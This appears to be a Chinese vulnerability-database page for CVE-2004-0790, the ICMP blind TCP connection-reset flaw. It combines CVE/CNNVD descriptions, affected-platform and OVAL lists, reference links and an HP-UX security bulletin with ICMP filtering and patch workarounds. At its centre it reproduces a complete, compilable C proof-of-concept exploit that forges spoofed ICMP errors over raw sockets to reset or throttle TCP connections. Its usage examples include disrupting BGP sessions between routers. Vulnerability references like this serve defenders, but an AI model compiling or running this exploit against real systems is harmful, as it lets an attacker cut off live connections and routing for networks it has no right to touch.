CVE-2004-0790
CVSS5.0
发布时间 :2005-04-12 00:00:00
修订时间 :2016-10-17 22:49:00
NMCOEP    

[原文]Multiple TCP/IP and ICMP implementations allow remote attackers to cause a denial of service (reset TCP connections) via spoofed ICMP error messages, aka the "blind connection-reset attack." NOTE: CVE-2004-0790, CVE-2004-0791, and CVE-2004-1060 have been SPLIT based on different attacks; CVE-2005-0065, CVE-2005-0066, CVE-2005-0067, and CVE-2005-0068 are related identifiers that are SPLIT based on the underlying vulnerability. While CVE normally SPLITs based on vulnerability, the attack-based identifiers exist due to the variety and number of affected implementations and solutions that address the attacks instead of the underlying vulnerabilities.


[CNNVD]Microsoft Windows TCP/IP协议栈ICMP重置TCP连接漏洞(MS05-19/MS06-064)(CNNVD-200504-022)

        Microsoft Windows是微软发布的非常流行的操作系统。
        Microsoft Windows的TCP/IP协议栈的ICMP协议处理模块存在漏洞,远程攻击者可能利用此漏洞重置服务器的TCP连接。
        Microsoft Windows的ICMP协议处理模块没有充分检查某些类型ICMP消息的合法性,远程攻击者可以向受影响的服务器发送特制的ICMP消息导致服务器和客户端之间的已有TCP连接被重置。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_xp::sp2:tablet_pcMicrosoft windows xp_sp2 tablet_pc
cpe:/o:microsoft:windows_xp::sp1:tablet_pcMicrosoft windows xp_sp1 tablet_pc
cpe:/o:sun:solaris:10.0::sparc
cpe:/o:microsoft:windows_98seMicrosoft windows 98_se
cpe:/o:microsoft:windows_meMicrosoft Windows ME
cpe:/o:microsoft:windows_2000::sp4::fr
cpe:/o:microsoft:windows_2000::sp3Microsoft windows 2000_sp3
cpe:/o:microsoft:windows_xp:::64-bit
cpe:/o:sun:solaris:7.0
cpe:/o:microsoft:windows_xp::sp1:64-bit
cpe:/o:microsoft:windows_2003_server:r2
cpe:/o:sun:solaris:8.0
cpe:/o:sun:solaris:9.0::sparc
cpe:/o:microsoft:windows_98::goldMicrosoft windows 98_gold

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:622Solaris 8, 9, 10 Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:53Windows XP, Windows Server 2003 Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:514HP-UX 11.11, 11.23 Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:4804Server 2003 Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:412HP-UX 11.04 Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:3458Win2k Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:211HP-UX 11.23 Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:1910WinXP Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:176HP-UX 11.00 Blind Connection Reset Attack Vulnerability
oval:org.mitre.oval:def:1177HP-UX 11.11 Blind Connection Reset Attack Vulnerability
oval:gov.nist.fdcc.patch:def:861MS06-064: Vulnerabilities in TCP/IP IPv6 Could Allow Denial of Service (922819)
oval:gov.nist.USGCB.patch:def:861MS06-064: Vulnerabilities in TCP/IP IPv6 Could Allow Denial of Service (922819)
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0790
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0790
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200504-022
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.sco.com/pub/updates/OpenServer/SCOSA-2006.4/SCOSA-2006.4.txt
(UNKNOWN)  SCO  SCOSA-2006.4
http://marc.info/?l=bugtraq&m=112861397904255&w=2
(UNKNOWN)  HP  SSRT4743
http://securityreason.com/securityalert/19
(UNKNOWN)  SREASON  19
http://securityreason.com/securityalert/57
(UNKNOWN)  SREASON  57
http://sunsolve.sun.com/search/document.do?assetkey=1-26-101658-1
(UNKNOWN)  SUNALERT  101658
http://sunsolve.sun.com/search/document.do?assetkey=1-26-57746-1
(VENDOR_ADVISORY)  SUNALERT  57746
http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
(UNKNOWN)  MISC  http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
http://www.microsoft.com/technet/security/bulletin/ms05-019.mspx
(VENDOR_ADVISORY)  MS  MS05-019
http://www.microsoft.com/technet/security/Bulletin/MS06-064.mspx
(UNKNOWN)  MS  MS06-064
http://www.securityfocus.com/archive/1/archive/1/418882/100/0/threaded
(UNKNOWN)  HP  SSRT4884
http://www.securityfocus.com/archive/1/archive/1/449179/100/0/threaded
(UNKNOWN)  HP  HPSBST02161
http://www.securityfocus.com/bid/13124
(UNKNOWN)  BID  13124
http://www.uniras.gov.uk/niscc/docs/al-20050412-00308.html?lang=en
(VENDOR_ADVISORY)  MISC  http://www.uniras.gov.uk/niscc/docs/al-20050412-00308.html?lang=en
http://www.vupen.com/english/advisories/2006/3983
(UNKNOWN)  VUPEN  ADV-2006-3983
http://www.watersprings.org/pub/id/draft-gont-tcpm-icmp-attacks-03.txt
(UNKNOWN)  MISC  http://www.watersprings.org/pub/id/draft-gont-tcpm-icmp-attacks-03.txt

- 漏洞信息

Microsoft Windows TCP/IP协议栈ICMP重置TCP连接漏洞(MS05-19/MS06-064)
中危 其他
2005-04-12 00:00:00 2005-10-28 00:00:00
远程  
        Microsoft Windows是微软发布的非常流行的操作系统。
        Microsoft Windows的TCP/IP协议栈的ICMP协议处理模块存在漏洞,远程攻击者可能利用此漏洞重置服务器的TCP连接。
        Microsoft Windows的ICMP协议处理模块没有充分检查某些类型ICMP消息的合法性,远程攻击者可以向受影响的服务器发送特制的ICMP消息导致服务器和客户端之间的已有TCP连接被重置。

- 公告与补丁

        暂无数据

- 漏洞信息 (948)

Multiple OS (win32/aix/cisco) Crafted ICMP Messages DoS Exploit (EDBID:948)
multiple dos
2005-04-20 Verified
0 houseofdabus
N/A [点击下载]
/* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
*              (MS05-019) (CISCO:20050412)
*       ICMP attacks against TCP (Proof-of-Concept)
*
*
*
*                 .::[ houseofdabus ]::.
*
*
*
* [ for more details:
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
*    - Cisco Content Services Switch 11000 Series (WebNS)
*    - Cisco Global Site Selector (GSS) 4480 1.x
*    - Cisco IOS 10.x
*    - Cisco IOS 11.x
*    - Cisco IOS 12.x
*    - Cisco IOS R11.x
*    - Cisco IOS R12.x
*    - Cisco IOS XR (CRS-1) 3.x
*    - Cisco ONS 15000 Series
*    - Cisco PIX 6.x
*    - Cisco SAN-OS 1.x (MDS 9000 Switches)
*    - AIX 5.x
*    - Windows Server 2003
*    - Windows XP SP2
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Windows 2000 SP3
*      ...
*
* ---------------------------------------------------------------------
* Description:
*    A denial of service vulnerability exists that could allow an
*    attacker to send a specially crafted Internet Control Message
*    Protocol (ICMP) message to an affected system. An attacker who
*    successfully exploited this vulnerability could cause the affected
*    system to reset existing TCP connections, reduce the throughput
*    in existing TCP connections, or consume large amounts of CPU and
*    memory resources.
*    (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
*
* ---------------------------------------------------------------------
* Solution:
*    http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
*    http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
*
* Other References:
*    http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
*    http://www.kb.cert.org/vuls/id/222750
*
* ---------------------------------------------------------------------
* Tested on:
*    - Windows Server 2003
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Cisco IOS 11.x
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++  : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Linux       : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
*
* ---------------------------------------------------------------------
* Examples:
*
*   client <---> router <---> router <---> server
*
*   CLIENT <---> SERVER
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
*   (abort the connection)
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
*   (slow down the transmission rate for traffic)
*
*
*   ROUTER1 <---> ROUTER2
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
*   (DoS Cisco BGP Connections)
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
*   (slow down the transmission rate for traffic)
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/

/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
/* IP_HDRINCL */
#include <ws2tcpip.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_PACKET         4096

#define DEFAULT_PORT       80
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1

/* Define the IP header */
typedef struct ip_hdr {
       unsigned char  ip_verlen;       /* IP version & length */
       unsigned char  ip_tos;          /* IP type of service */
       unsigned short ip_totallength;  /* Total length */
       unsigned short ip_id;           /* Unique identifier */
       unsigned short ip_offset;       /* Fragment offset field */
       unsigned char  ip_ttl;          /* Time to live */
       unsigned char  ip_protocol;     /* Protocol */
       unsigned short ip_checksum;     /* IP checksum */
       unsigned int   ip_srcaddr;      /* Source address */
       unsigned int   ip_destaddr;     /* Destination address */
} IP_HDR, *PIP_HDR;

/* Define the ICMP header */
/* Destination Unreachable Message */
typedef struct icmp_hdr {
       unsigned char  type;            /* Type */
       unsigned char  code;            /* Code */
       unsigned short checksum;        /* Checksum */
       unsigned long  unused;          /* Unused */
} ICMP_HDR, *PICMP_HDR;

/* 64 bits of Original Data Datagram (TCP header) */
char msg[] =
"\x00\x50"                              /* Source port */
"\x00\x50"                              /* Destination port */
"\x23\x48\x4f\x44";

/* globals */
unsigned long   dwToIP,                 /* IP to send to */
               dwFromIP;               /* IP to send from (spoof) */
unsigned short  iToPort,                /* Port to send to */
               iFromPort;              /* Port to send from (spoof) */
unsigned long   dwCount;                /* Number of times to send */
unsigned long   Attack;

void
usage(char *progname) {
       printf("Usage:\n\n");
       printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] [-a:int] [-n:int]\n\n", progname);
       printf("       -fi:IP    From (sender) IP address\n");
       printf("       -ti:IP    To (target) IP address\n");
       printf("       -fp:int   Target open TCP port number\n");
       printf("                 (for example - 21, 25, 80)\n");
       printf("       -tp:int   Inicial value for bruteforce (sender) TCP port number\n");
       printf("                 (default: 0 = range of ports 0-65535)\n");
       printf("       -n:int    Number of packets\n\n");
       printf("       -a:int    ICMP attacks:\n");
       printf("                    1 - Blind connection-reset attack\n");
       printf("                        (ICMP protocol unreachable)\n");
       printf("                    2 - Path MTU discovery attack\n");
       printf("                        (slow down the transmission rate)\n");
       printf("                    3 - ICMP Source Quench attack\n");
       exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
       int i;

       iToPort = 0;
       iFromPort = DEFAULT_PORT;
       dwToIP = inet_addr(DEFAULT_IP);
       dwFromIP = inet_addr(DEFAULT_IP);
       dwCount = DEFAULT_COUNT;
       Attack = 1;

       for (i = 1; i < argc; i++) {
               if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
                       switch (tolower(argv[i][1])) {
                               case 'f':
                                       switch (tolower(argv[i][2])) {
                                               case 'p':
                                                       if (strlen(argv[i]) > 4)
                                                       iFromPort = atoi(&argv[i][4]);
                                                       break;
                                               case 'i':
                                                       if (strlen(argv[i]) > 4)
                                                       dwFromIP = inet_addr(&argv[i][4]);
                                                       break;
                                               default:
                                                       usage(argv[0]);
                                                       break;
                                       }
                                       break;
                               case 't':
                                       switch (tolower(argv[i][2])) {
                                               case 'p':
                                                       if (strlen(argv[i]) > 4)
                                                       iToPort = atoi(&argv[i][4]);
                                                       break;
                                               case 'i':
                                                       if (strlen(argv[i]) > 4)
                                                       dwToIP = inet_addr(&argv[i][4]);
                                                       break;
                                               default:
                                                       usage(argv[0]);
                                                       break;
                                       }
                                       break;
                               case 'n':
                                       if (strlen(argv[i]) > 3)
                                       dwCount = atol(&argv[i][3]);
                                       break;
                               case 'a':
                                       if (strlen(argv[i]) > 3)
                                       Attack = atol(&argv[i][3]);
                                       if ((Attack > 3) || (Attack < 1))
                                       usage(argv[0]);
                                       break;
                               default:
                                       usage(argv[0]);
                                       break;
                       }
               }
       }
       return;
}

/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
       unsigned long cksum = 0;

       while (size > 1) {
               cksum += *buffer++;
               size  -= sizeof(unsigned short);
       }
       if (size) {
               cksum += *(unsigned char *)buffer;
       }
       cksum = (cksum >> 16) + (cksum & 0xffff);
       cksum += (cksum >>16);

       return (unsigned short)(~cksum);
}

int
main(int argc, char **argv)
{

#ifdef _WIN32
       WSADATA         wsd;
#endif
       int             s;
#ifdef _WIN32
       BOOL            bOpt;
#else
       int             bOpt;
#endif
       struct sockaddr_in remote;
       IP_HDR          ipHdr,
                       ipHdrInc;
       ICMP_HDR        icmpHdr;
       int             ret;
       unsigned long   i, p;
       unsigned short  iTotalSize,
                       iIPVersion,
                       iIPSize,
                       p2,
                       cksum = 0;
       char            buf[MAX_PACKET],
                       *ptr = NULL;
#ifdef _WIN32
       IN_ADDR         addr;
#else
       struct sockaddr_in addr;
#endif

       printf("\n               (MS05-019) (CISCO:20050412)\n");
       printf("       ICMP attacks against TCP (Proof-of-Concept)\n\n");
       printf("        Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");

       if (argc < 3) usage(argv[0]);

       /* Parse command line arguments and print them out */
       ValidateArgs(argc, argv);
#ifdef _WIN32
       addr.S_un.S_addr = dwFromIP;
       printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
       addr.S_un.S_addr = dwToIP;
       printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
       printf("[*] Count:   %d\n", dwCount);
#else
       addr.sin_addr.s_addr = dwFromIP;
       printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
       addr.sin_addr.s_addr = dwToIP;
       printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
       printf("[*] Count:   %d\n", dwCount);
#endif

#ifdef _WIN32
       if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
               printf("[-] WSAStartup() failed: %d\n", GetLastError());
               return -1;
       }
#endif
       /*  Creating a raw socket */
       s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
       if (s == INVALID_SOCKET) {
#else
       if (s < 0) {
#endif
               printf("[-] socket() failed\n");
               return -1;
       }

       /* Enable the IP header include option */
#ifdef _WIN32
       bOpt = TRUE;
#else
       bOpt = 1;
#endif
       ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
       if (ret == SOCKET_ERROR) {
               printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
               return -1;
       }
#endif

       /* Initalize the IP header */
       iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);

       iIPVersion = 4;
       iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

       ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
       ipHdr.ip_tos = 0;               /* IP type of service */
                                       /* Total packet len */
       ipHdr.ip_totallength = htons(iTotalSize);
       ipHdr.ip_id = htons(42451);     /* Unique identifier */
       ipHdr.ip_offset = 0;            /* Fragment offset field */
       ipHdr.ip_ttl = 255;             /* Time to live */
       ipHdr.ip_protocol = 0x1;        /* Protocol(ICMP) */
       ipHdr.ip_checksum = 0;          /* IP checksum */
       ipHdr.ip_srcaddr = dwFromIP;    /* Source address */
       ipHdr.ip_destaddr = dwToIP;     /* Destination address */

       ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
       ipHdrInc.ip_tos = 0;            /* IP type of service */
                                       /* Total packet len */
       ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
       ipHdrInc.ip_id = htons(25068);  /* Unique identifier */

       ipHdrInc.ip_offset = 0;         /* Fragment offset field */
       ipHdrInc.ip_ttl = 255;          /* Time to live */
       ipHdrInc.ip_protocol = 0x6;     /* Protocol(TCP) */
       ipHdrInc.ip_checksum = 0;       /* IP checksum */
       ipHdrInc.ip_srcaddr = dwToIP;   /* Source address */
       ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */

       /* Initalize the ICMP header */
       icmpHdr.checksum = 0;
       if (Attack == 1) {
               icmpHdr.type = 3;       /* Destination Unreachable Message */
               icmpHdr.code = 2;       /* protocol unreachable */
               icmpHdr.unused = 0;
       } else if (Attack == 2) {
               icmpHdr.type = 3;       /* Destination Unreachable Message */
               icmpHdr.code = 4;       /* fragmentation needed and DF set */
               icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
       } else {
               icmpHdr.type = 4;       /* Source Quench Message */
               icmpHdr.code = 0;
               icmpHdr.unused = 0;
       }

       memset(buf, 0, MAX_PACKET);
       ptr = buf;

       memcpy(ptr, &ipHdr, sizeof(ipHdr));       ptr += sizeof(ipHdr);
       memcpy(ptr, &icmpHdr, sizeof(icmpHdr));   ptr += sizeof(icmpHdr);
       memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
       memcpy(ptr, msg, sizeof(msg)-1);
       iFromPort = htons(iFromPort);
       memcpy(ptr, &iFromPort, 2);

       remote.sin_family = AF_INET;
       remote.sin_port = htons(iToPort);
       remote.sin_addr.s_addr = dwToIP;

       cksum = checksum((unsigned short *)&ipHdrInc, 20);
       memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);

       cksum = checksum((unsigned short *)&ipHdr, 20);
       memcpy(buf+10, &cksum, 2);

       for (p = iToPort; p <= 65535; p++) {
               p2 = htons((short)p);
               memcpy((char *)(ptr+2), &p2, 2);
               buf[22] = 0;
               buf[23] = 0;
               cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
               memcpy(buf+20+2, &cksum, 2);

               for (i = 0; i < dwCount; i++) {
#ifdef _WIN32
                       ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
                               sizeof(remote));
#else
                       ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
                       sizeof(remote));
#endif
#ifdef _WIN32
                       if (ret == SOCKET_ERROR) {
#else
                       if (ret < 0) {
#endif
                               printf("[-] sendto() failed\n");
                               break;
                       }
               }
       }

#ifdef _WIN32
       closesocket(s);
       WSACleanup();
#endif

       return 0;
}

// milw0rm.com [2005-04-20]
		

- 漏洞信息 (F38779)

SSRT4884.txt (PacketStormID:F38779)
2005-07-20 00:00:00
 
advisory,denial of service,tcp
hpux
CVE-2004-0790,CVE-2004-0791,CVE-2004-1060
[点击下载]

HP Security Bulletin - A potential security vulnerability has been identified with HP-UX running TCP/IP. This vulnerability could be remotely exploited by an unauthorized user to cause a Denial of Service(DoS).

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

HP SECURITY BULLETIN

HPSBUX01164     REVISION: 4

SSRT4884 rev.4 - HP-UX TCP/IP Remote Denial of Service (DoS)

NOTICE:
There are no restrictions for distribution of this Security
Bulletin provided that it remains complete and intact.

The information in this Security Bulletin should be acted upon
 as soon as possible.

INITIAL RELEASE:
10 July 2005

POTENTIAL SECURITY IMPACT:
Remote Denial of Service (DoS)

SOURCE:
Hewlett-Packard Company
HP Software Security Response Team

VULNERABILITY SUMMARY:
A potential security vulnerability has been identified with HP-UX
running TCP/IP. This vulnerability could be remotely exploited by
an unauthorized user to cause a Denial of Service(DoS).

REFERENCES:
NISCC VU#532967, CAN-2004-0790, CAN-2004-0791, CAN-2004-1060

SUPPORTED SOFTWARE VERSIONS*:  ONLY impacted versions are listed.
HP-UX B.11.00, B.11.04, B.11.11, B.11.22, B.11.23 running TCP/IP.
HP-UX B.11.11 and B.11.23 running TOUR (Transport Optional Upgrade
Release).

BACKGROUND:

     AFFECTED VERSIONS

     HP-UX B.11.22
     HP-UX B.11.00
     =============
     Networking.NET2-KRN
     action: set ip_pmtu_strategy= 0 and either install binary
             files or filter ICMP

     HP-UX B.11.11
     =============
     Networking.NET2-KRN
     action: set ip_pmtu_strategy= 0 and install PHNE_33159

     HP-UX B.11.23
     =============
     Networking.NET2-KRN
 ->action: set ip_pmtu_strategy= 0 and install PHNE_32606

     HP-UX B.11.11
     HP-UX B.11.23
     =============
     TOUR_PRODUCT.T-NET2-KRN
     action: set ip_pmtu_strategy= 0 and filter ICMP


     HP-UX B.11.04
     =============
     Networking.NET2-KRN
     action: set ip_pmtu_strategy= 0 and filter ICMP

     END AFFECTED VERSIONS


 Note: The latest TOUR (Transport Optional Upgrade Release),
       version 2.4, is available on B.11.11 only.  The latest
       Transport Functionality is available to B.11.23 customers
       in the HP-UX 11i v2 September 2004 release.   Customers
       using TOUR on B.11.23 can apply the workaround (set
       ip_pmtu_strategy= 0 and filter ICMP) or upgrade to the
       HP-UX 11i v2 September 2004 release.  After upgrading the
       action for B.11.23 Networking.NET2-KRN listed above should
       be implemented.

RESOLUTION:

As reported in NISCC VU#532967 ICMP messages may be used to attack
TCP/IP connections.

<http://www.uniras.gov.uk/niscc/docs/al-20050412-00308.html?
lang=en>

There are three issues reported in NISCC VU#532967:

  CVE number: CAN-2004-0790
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0790>
  CVE number: CAN-2004-0791
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0791>
  CVE number: CAN-2004-1060
 <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1060>

Workarounds are available for all three of these issues.

Until binary files are available for B.11.04 the workarounds
should be used.


 ->Binary files are available for CAN-2004-0790 and CAN-2004-0791
for HP-UX  B.11.00 and B.11.22.

Since PHNE_33159 is now available for B.11.11 the preliminary
binary  files for B.11.11 have been removed from the ftp site.

 ->Since PHNE_32606 is now available for B.11.23 the preliminary
binary  files for B.11.23 have been removed from the ftp site.


Note: If the TOUR (Transport Optional Upgrade Release) product is
      installed the binary files cannot be used.

Until the TOUR product is revised there are several options:

 B.11.11
    1. Use the workarounds.
       or
   2. Remove TOUR and install the binary files.

 B.11.23
    1. Use the workarounds.
        or
   2. Upgrade to the HP-UX 11i v2 September 2004 release
       and install the binary files.

TOUR(Transport Optional Upgrade Release) is available from
<http://www.hp.com/go/softwaredepot>.


Workaround for CAN-2004-1060 may not be necessary.
===================================
Although changes in the binary files and patches for CAN-2004-0790
and CAN-2004-0791 do not prevent the exploit of CAN-2004-1060,
they do make it less likely to succeed.  The sequence number check
suggested in section 5.1 of <http://www.ietf.org/internet-drafts/
draft-gont-tcpm-icmp-attacks-03.txt> has been implemented.
Customers should consider whether this check reduces the risk of
the exploit to the point that setting ip_pmtu_strategy=0 is not
required.

If the workaround for CAN-2004-1060 is to be used, please note
the following:
=================================================
HPSBUX01137 recommends setting ip_pmtu_strategy = 0 or 3 as a
workaround for the problem of CAN-2005-1192.   CAN-2004-1060 has a
different root cause and cannot be worked around with
p_pmtu_strategy=3.   To work around both CAN-2005-1192 and
CAN-2004-1060 ip_pmtu_strategy=0 must be used.

Please refer to the Manual Actions section below for a summary of
the required actions.

Workarounds:

  CAN-2004-0790 and CAN-2004-0791

     Filter out the following ICMP messages:

    Type 3, Code 2 (Destination Unreachable, Protocol Unreachable)
    Type 3, Code 3 (Destination Unreachable, Port Unreachable)
    Type 4, Code 0 (Source Quench)

  CAN-2004-1060

     Set ip_pmtu_strategy=0.

Note: Filtering "Protocol Unreachable" and "Port Unreachable"
      should not be done without careful testing.  Filtering these
      out may interfere with the correct functioning of network
      components.
      Filtering "Source Quench" should present little risk.


Setting ip_pmtu_strategy=0
==================
Edit /etc/rc.config.d/nddconf to add the following:

TRANSPORT_NAME[n]=ip
NDD_NAME[n]=ip_pmtu_strategy
NDD_VALUE[n]=0

where 'n' is the next available index value as described in the
nddconf comments.

This value will take effect when the system is rebooted.
Until the system can be rebooted use the following command
to read the /etc/rc.config.d/nddconf file and set the tunable
parameters:

  /usr/bin/ndd -c

The ip_pmtu_strategy parameter can be displayed by the
following command:

  /usr/bin/ndd -get /dev/ip ip_pmtu_strategy

Note: Since open connections will remain potentially vulnerable
      until they are closed and certain internal data structures
      are released it is recommended that the system be rebooted.

Note: There is a defect that will cause "ndd -c" to fail if there
      are more than 10 directives in /etc/rc.config.d/nddconf.
      That defect is fixed in the following patches:

              B.11.11 - PHNE_25644 or subsequent
              B.11.04 - PHNE_26076 or subsequent
              B.11.00 - PHNE_26125 or subsequent


Preliminary binary files
==============

 ->Preliminary binary files are available for B.11.00 and B.11.22.
Patches are available for B.11.11 and B.11.23.  The patches and
the preliminary binary files address CAN-2004-0790 and
CAN-2004-0791 only.  Although changes in the patches and binary
files for CAN-2004-0790 and CAN-2004-0791 do not prevent the
exploit of CAN-2004-1060, they do make it less likely to succeed.

Instructions for downloading and installing the binary files are
contained in readme files available here:

     System:    hprc.external.hp.com  (192.170.19.51)
     Login:     icmp
     Password:  icmp

    FTP Access:
                 ftp://icmp:icmp@hprc.external.hp.com/
            or: ftp://icmp:icmp@192.170.19.51/
    Note: The links above may not work for all browsers.  If the
          link fails the url should be entered directly into the
          browser's address field.

Since a patch is available for B.11.11 the readme.11.11.txt and
corresponding binary files have been removed from the ftp site.

 ->Since a patch is available for B.11.23 the readme.11.23.txt and
corresponding binary files have been removed from the ftp site.


Download the appropriate readme file containing further
instructions:

   readme.11.00.txt
   readme.11.22.txt

Verify the cksum or md5sum:

 ->Note: The readme files have not changed since rev.1 of this
         Security Bulletin.

   cksum readme*
  2844254744 2546  readme.11.00.txt
  2836317466 2469 readme.11.22.txt

   md5sum readme*
 d28504f8532192de6a4f33bba4ea90ec readme.11.00.txt
 cafbb24f3dc7131501142f75deaeccbd readme.11.22.txt

Download and install the binary files as discussed in the readme
files.  The binary files are available in the same directory as
the readme files.

For B.11.11 download and install PHNE_33159.  The patch is
available from < http://itrc.hp.com>.

 ->For B.11.23 download and install PHNE_32606.  The patch is
available from < http://itrc.hp.com>.



MANUAL ACTIONS:  Yes - NonUpdate
1. Set ip_pmtu_strategy=0

2. EITHER
    a. Filter out the following ICMP messages:

    Type 3, Code 2 (Destination Unreachable, Protocol Unreachable)
    Type 3, Code 3 (Destination Unreachable, Port Unreachable)
    Type 4, Code 0 (Source Quench)

   OR

    b. Install the appropriate binary file  or patch (binary file
       not available for B.11.04).

BULLETIN REVISION HISTORY:
Revision 0: 25 May 2005
  Initial release

Revision 1: 1 June 2005
  Binary files for B.11.00 and B.11.22 are available.
  Added information about CAN-2004-1060.
  The "set ip_pmtu_strategy=0" workaround is required even if
  binary files are installed.
  Removed IPSec information.

Revision 2: 19 June 2005
  TOUR (Transport Optional Upgrade Release) on B.11.11 and B.11.23
  is potentially vulnerable.
  Added a description of the sequence number check implemented in
  the binary files.

Revision 3: 27 June 2005
  PHNE_33159 is available for B.11.11.  The B.11.11 binary files
  have been removed from the ftp site.

Revision 4: 10 July 2005
  PHNE_32606 is available for B.11.23.  The B.11.23 binary files
  have been removed from the ftp site.



HP-UX SPECIFIC SECURITY BULLETINS*:  Security Patch Check revision
B.02.00 analyzes all HP-issued Security Bulletins to provide a
subset of recommended actions that potentially affect a specific
HP-UX system.

For more information:
http://www.software.hp.com/cgi-bin/swdepot_parser.cgi/cgi/
displayProductInfo.pl?productNumber=B6834AA


SUPPORT: For further information, contact normal HP Services
support channel.

REPORT: To report a potential security vulnerability with any HP
supported product, send Email to: security-alert@hp.com. It is
strongly recommended that security related information being
communicated to HP be encrypted using PGP, especially exploit
information. To obtain the security-alert PGP key please send an
e-mail message to security-alert@hp.com with the Subject of
'get key' (no quotes).

SUBSCRIBE: To initiate a subscription to receive future HP
Security Bulletins via Email:

http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&
langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC

On the web page: ITRC security bulletins and patch sign-up
Under Step1: your IRTC security bulletins and patches
     - check ALL categories for which alerts are required and
       continue.
Under Step2: your IRTC operating systems
     - verify your operating system selections are checked and
       save.

To update an existing subscription:
http://h30046.www3.hp.com/subSignIn.php

Log in on the web page
  Subscriber's choice for Business: sign-in.
On the Web page:
 Subscriber's Choice: your profile summary
   - use Edit Profile to update appropriate sections.

To review previously published Security Bulletins visit:
http://itrc.hp.com/service/cki/secBullArchive.do

* The Software Product Category that this Security Bulletin
  relates to is represented by the 5th and 6th characters of the
  Bulletin number:
    GN = HP General SW,
    MA = HP Management Agents,
    MI = Misc. 3rd party SW,
